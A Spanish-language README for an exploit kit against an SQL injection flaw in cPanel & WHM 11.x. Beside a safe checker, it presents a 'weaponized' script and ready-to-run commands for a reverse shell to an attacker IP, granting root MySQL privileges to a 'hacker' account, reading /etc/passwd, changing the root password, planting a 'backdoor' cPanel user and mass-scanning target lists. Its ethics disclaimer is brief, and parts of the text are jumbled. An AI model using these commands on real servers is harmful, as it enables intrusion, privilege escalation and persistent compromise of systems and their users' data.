
👾 CVE-2026-58048 – Kit de herramientas de ejecución SQL root en cPanel (CVSS 9.4) | Suite completa de herramientas Red/Blue Team para cPanel & WHM 11.x sin parchear. 2 herramientas: Safe Checker (auditoría/reportes), Weaponized (reverse shell, persistencia, UDF RCE, despliegue, lectura/escritura de archivos, operaciones de base de datos, escaneo masivo). Con Python. 🦾 Úsalo éticamente, mantente legal <3

⚠️ SOLO USO ÉTICO – PRUEBAS DE SEGURIDAD AUTORIZADAS
Este repositorio proporciona herramientas únicamente para profesionales de seguridad autorizados, equipos azules y testers de penetración.
El acceso no autorizado a sistemas informáticos es ilegal según la CFAA (EE. UU.), la Computer Misuse Act (Reino Unido), el TCK 243/244 (Turquía) y leyes similares en todo el mundo.
CVE‑2026‑58048 es una vulnerabilidad crítica de inyección SQL en cPanel & WHM versiones 11.x que permite a un usuario autenticado de cPanel ejecutar comandos SQL arbitrarios con privilegios de root de MySQL a través de la funcionalidad de renombrado de bases de datos.
ANSI_QUOTES, lo que cambia el comportamiento del análisis sintáctico.11.137.1.6| Herramienta | Propósito | Usuario previsto |
|---|---|---|
exploit.py | Kit completo weaponizado con reverse shell, persistencia, RCE mediante UDF, lectura/escritura de archivos, operaciones de base de datos, soporte de proxy y escaneo masivo. | Equipos rojos / pentesters autorizados |
safecheck.py | Comprobador de vulnerabilidad no intrusivo que detecta la versión de cPanel y evalúa el riesgo sin ejecutar ninguna carga maliciosa. Genera informes detallados. | Equipos azules / auditores de seguridad |
| Característica | exploit.py | safecheck.py |
|---|---|---|
| Detección de vulnerabilidad | ✅ | ✅ |
| Detección de versión | ✅ | ✅ |
| Inyección SQL como root de MySQL | ✅ | ❌ |
| Reverse shell | ✅ | ❌ |
| Persistencia (creación de usuario de cPanel) | ✅ | ❌ |
| RCE mediante UDF (ejecución de comandos) | ✅ | ❌ |
| Lectura/escritura de archivos | ✅ | ❌ |
| Operaciones de base de datos (cualquier SQL) | ✅ | ❌ |
| Soporte de proxy | ✅ | ✅ |
| Escaneo masivo (multihilo) | ✅ | ❌ |
| Shell interactiva | ✅ | ❌ |
| Modo no intrusivo (seguro) | ❌ | ✅ |
| Modo detallado/Depuración | ✅ | ✅ |
| Control de verificación SSL | ✅ | ✅ |
| User‑Agent personalizado | ✅ | ✅ |
| Retardo entre peticiones / reintentos | ✅ | ❌ |
| Salida JSON / informe | ✅ | ✅ |
| Comprobación de accesibilidad del endpoint | ❌ | ✅ |
| Detección de fuga del modo SQL | ❌ | ✅ |
| Escenario | Herramienta recomendada |
|---|---|
| Equipo Azul – verificar si su instalación de cPanel es vulnerable | safecheck.py |
| Auditoría de seguridad – evaluación de vulnerabilidad no intrusiva | safecheck.py |
| Equipo Rojo – pruebas de penetración autorizadas con explotación completa | exploit.py |
| Bug Bounty – pruebas de divulgación responsable | safecheck.py |
| Escaneo masivo – comprobar múltiples objetivos en busca de vulnerabilidad | exploit.py (solo detección) |
| Respuesta a incidentes – comprobar si los sistemas están comprometidos | safecheck.py |
git clone https://github.com/tc4dy/CVE-2026-58048-PoC-Exploit
cd CVE-2026-58048
pip install -r requirements.txt
requests
urllib3
colorama
pymysql
exploit.py| Parámetro | Descripción |
|---|---|
-t, --target | URL de cPanel objetivo (p. ej. https://cpanel.example.com:2083) |
-l, --target-file | Archivo que contiene la lista de objetivos (uno por línea) para escaneo masivo |
-u, --mysql-user | Nombre de usuario de cPanel/MySQL |
-P, --mysql-pass | Contraseña de cPanel/MySQL |
--mysql-port | Puerto de MySQL (por defecto: 3306) |
-p, --port | Sobrescribir el puerto de cPanel (por defecto desde la URL o 2083) |
--threads | Número de hilos para múltiples objetivos (por defecto: 10) |
-o, --output | Guardar resultados en archivo (objetivo único) |
--log | Archivo de registro para salida detallada |
-v, --verbose | Salida detallada |
--proxy | Proxy HTTP/HTTPS (p. ej. http://127.0.0.1:8080) |
-ua, --user-agent | User‑Agent personalizado |
--no-keep-alive | No mantener la sesión activa |
--delay | Retardo entre peticiones (por defecto: 2.0s) |
--max-retries | Reintentos máximos (por defecto: 3) |
--ssl-verify | Verificar certificados SSL |
--cmd | Comando a ejecutar (prefijo sql: o udf: para especificar) |
--inject | SQL personalizado a inyectar (anula otras acciones) |
--reverse-shell | IP:PUERTO del reverse shell (usa UDF) |
--passwd | Cambiar la contraseña de root de MySQL |
--adduser | Crear usuario de cPanel (USUARIO DOMINIO CONTRASEÑA) |
safecheck.py| Parámetro | Descripción |
|---|---|
-t, --target | URL de cPanel objetivo (p. ej. https://cpanel.example.com:2083) |
-v, --verbose | Salida detallada |
--proxy | Proxy HTTP/HTTPS (p. ej. http://127.0.0.1:8080) |
-ua, --user-agent | User‑Agent personalizado |
--ssl-verify | Verificar certificados SSL |
--timeout | Tiempo de espera de la petición en segundos (por defecto: 10) |
--log | Guardar informe en archivo |
--json | Mostrar resultados en formato JSON |
| # | Escenario | Comando |
|---|---|---|
| 1 | Comprobación rápida de vulnerabilidad | python safecheck.py -t https://cpanel.example.com:2083 |
| 2 | Escaneo detallado con informe | python safecheck.py -t https://cpanel.example.com:2083 --log report.txt --json -v |
| 3 | Reverse shell | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --reverse-shell 192.168.1.100:4444 |
| 4 | Ejecutar SQL personalizado (root) | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --inject "GRANT ALL PRIVILEGES ON *.* TO 'hacker'@'%' IDENTIFIED BY 'pwned'" |
| 5 | Leer archivo sensible | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --read /etc/passwd |
| 6 | Cambiar la contraseña de root de MySQL | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --passwd NewRootPass123 |
| 7 | Crear nuevo usuario de cPanel (persistencia) | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --adduser backdoor domain.com Parola123 |
| 8 | Shell interactiva tras la explotación | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass -i |
| 9 | Escaneo masivo desde archivo | python exploit.py -l targets.txt -u user -P pass --threads 20 --output results.json |
| 10 | Usar proxy y User‑Agent personalizado | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --proxy http://127.0.0.1:8080 -ua "Mozilla/5.0 (X11; Linux x86_64)" |
El exploit utiliza los siguientes endpoints de la UAPI de cPanel:
| Endpoint | Propósito |
|---|---|
/execute/Mysql/create_database | Crear base de datos temporal |
/execute/Mysql/delete_database | Limpiar las bases de datos creadas |
/execute/Mysql/rename_database | Endpoint vulnerable – desencadena la inyección SQL |
/execute/Version/get_version | Autenticación y comprobación de versión |
/execute/UserManager/create_user | Crear nuevo usuario de cPanel (persistencia) |
/execute/UserManager/list_users | Listar usuarios existentes |
Este software se proporciona únicamente con fines educativos y para pruebas de seguridad autorizadas.
--read | Leer un archivo mediante LOAD_FILE |
-i, --interactive | Shell interactiva tras el exploit |
--verify | Verificar el éxito del exploit intentando iniciar sesión en MySQL |
--ping | Hacer ping al objetivo antes de la explotación |